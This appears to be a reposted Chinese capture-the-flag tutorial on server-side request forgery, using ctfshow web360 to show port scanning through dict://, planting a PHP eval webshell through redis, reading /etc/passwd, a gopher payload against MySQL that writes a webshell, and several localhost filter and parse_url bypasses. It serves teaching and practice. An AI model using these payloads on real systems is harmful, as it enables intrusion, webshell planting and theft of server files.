SSRF介紹及利用(ctfshow)


一、介紹

定義:SSRF(Server-Side Request Forgery:服務器端請求偽造)通過篡改 HTTP 請求中的資源地址發送給服務器,服務器沒有校驗請求的合法性,服務器解析用戶傳遞過來的請求,處理之后返回給用戶。簡單理解就是將WEB服務器作為了一個跳板(代理)去請求更深層(內網)的資源。
 
危害及利用:
1. 外網的端口和服務掃描
2.主機 本地敏感數據的讀取(任意文件讀取)
3.內外網主機應用程序漏洞的利用
4.內外網 Web 站點漏洞的利用
 
 PHP中下面函數的使用不當會導致SSRF:
file_get_contents() 可以讀取PHP文件
fsockopen()
curl_exec() 不能讀取PHP文件
  一句話來說,SSRF是為了攻擊我們直接打不到的地方。內網一般來說太脆弱了,通過SSRF很容易就攻破了。

二、實戰(這里用一道題介紹)

ctfshow web360:

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo ($result);
?>

這里題目使用的是curl,我們可以本地執行curl -V來查看支持使用的協議。

 dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 

一般會用到:dict,gopher,http,https,file協議等。

下面是用到的協議全是curl所支持的協議。

1.端口掃描(利用dict協議+執行命令)

POST: url=dict://127.0.0.1:§80§

我們使用bp的爆破模塊,如果端口開放會返回不一樣的Length。 探測出服務器開放的端口和服務后,我們能進一步操作。例如該題目爆破之后發現了redis服務開放在6379端口上。

命令步驟如下:

更改rdb文件的目錄至網站目錄下

url=dict://xxx.xxx:6379/config:set:dir:/var/www/html


將rdb文件名dbfilename改為webshell的名字

url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php


寫入webshell
這里的十六進制等價於    <?php eval($_POST[hit]);?>
url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x68\x69\x74\x5d\x29\x3b\x3f\x3e"


進行備份
dict://xxx.xxx:6379/save

然后訪問我們寫入的webshell.php即可。

2.SSRF任意文件讀取(利用file協議:我們需要知道文件的名字)

POST:url=file:///etc/passwd

3.gopher協議對內網服務發送GET or POST請求 

  Gopher 在 HTTP 協議前是非常有名的信息查找系統,但是 WWW 萬維網出現之后 Gopher 逐漸沒落,但是在 SSRF 漏洞中 Gopher 協議讓洞利用更加靈活,利用此協議可以對 ftp,memcache, mysql,telnet, redis,等服務進行攻擊,可以構造發送 GET,POST 請求包。
  語法格式:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 數據流
  這里注意有一個下划線,是因為gopher協議默認吃掉第一個字符。

(1)GET請求

示例:我們這里寫一個極其簡單的測試頁面即可如下

 然后,我們重點看發送的http請求的數據包:這里我們只保留了兩行發送給服務器就給了我們響應(注意看最后的那個換行符!也要保留)

 我們將保留的部分進行url編碼以后作為我們的TCP數據流,然后通過gopher協議發送請求即可,如下圖。

(2)POST請求

示例:

關於POST請求的方式我們要保留如下幾行

 然后進行url編碼變成我們需要的TCP數據流,通過gopher協議發送給服務器即可。

補充:這里要注意對下划線后面的內容要進行兩次url加密,我這里只編碼了一次。

 

下面介紹一下工具Gopherus的使用:(打mysql無密碼和redis服務等)

環境:python2

(1)mysql無密碼:

將生成的payload下划線后面進行第二次url編碼以后提交即可。例如:

POST:url=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%38%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%37%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%36%38%25%36%39%25%37%34%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%38%25%36%39%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

 (2)redis服務

將生成的payload下划線后面進行第二次url編碼以后提交,然后訪問shell.php即可。

 三、關於127.0.0.1過濾繞過

十六進制
url=http://0x7F.0.0.1/flag.php

十六進制整數格式
url=http://0x7F000001/flag.php

八進制
url=http://0177.0.0.1/flag.php

10 進制整數格式
url=http://2130706433/flag.php

其他寫法
url=http://127.1/flag.php
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

302跳轉
寫一個頁面然后<?php header("Location:http://127.0.0.1/flag.php");?>

修改自己的域名A記錄
127.0.0.1

找現成的A記錄是127.0.0.1的網站
url=http://sudo.cc/flag.php

DNS-Rebinding攻擊繞過(在ceye.io注冊綁定127.0.0.1,然后記得前面加r,原理網上很多介紹)
url=http://r.xxxzc8.ceye.io/flag.php 

 

關於parse_url()  函數:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}
要求以http://ctf.開頭,以show結尾:url=http://ctf.@127.0.0.1/flag.php?show
<?php
    $url = 'http://username:password@hostname/path?arg=value#anchor';
    print_r(parse_url($url));
    echo parse_url($url, PHP_URL_PATH);
?>

結果----------------------------------------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => hostname			//
    [user] => username			@前
    [pass] => password			@前
    [path] => /path				/
    [query] => arg=value		?以后的key=value
    [fragment] => anchor		#以后的部分
)

 

參考鏈接:https://blog.csdn.net/qq_50589021/article/details/120183781

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM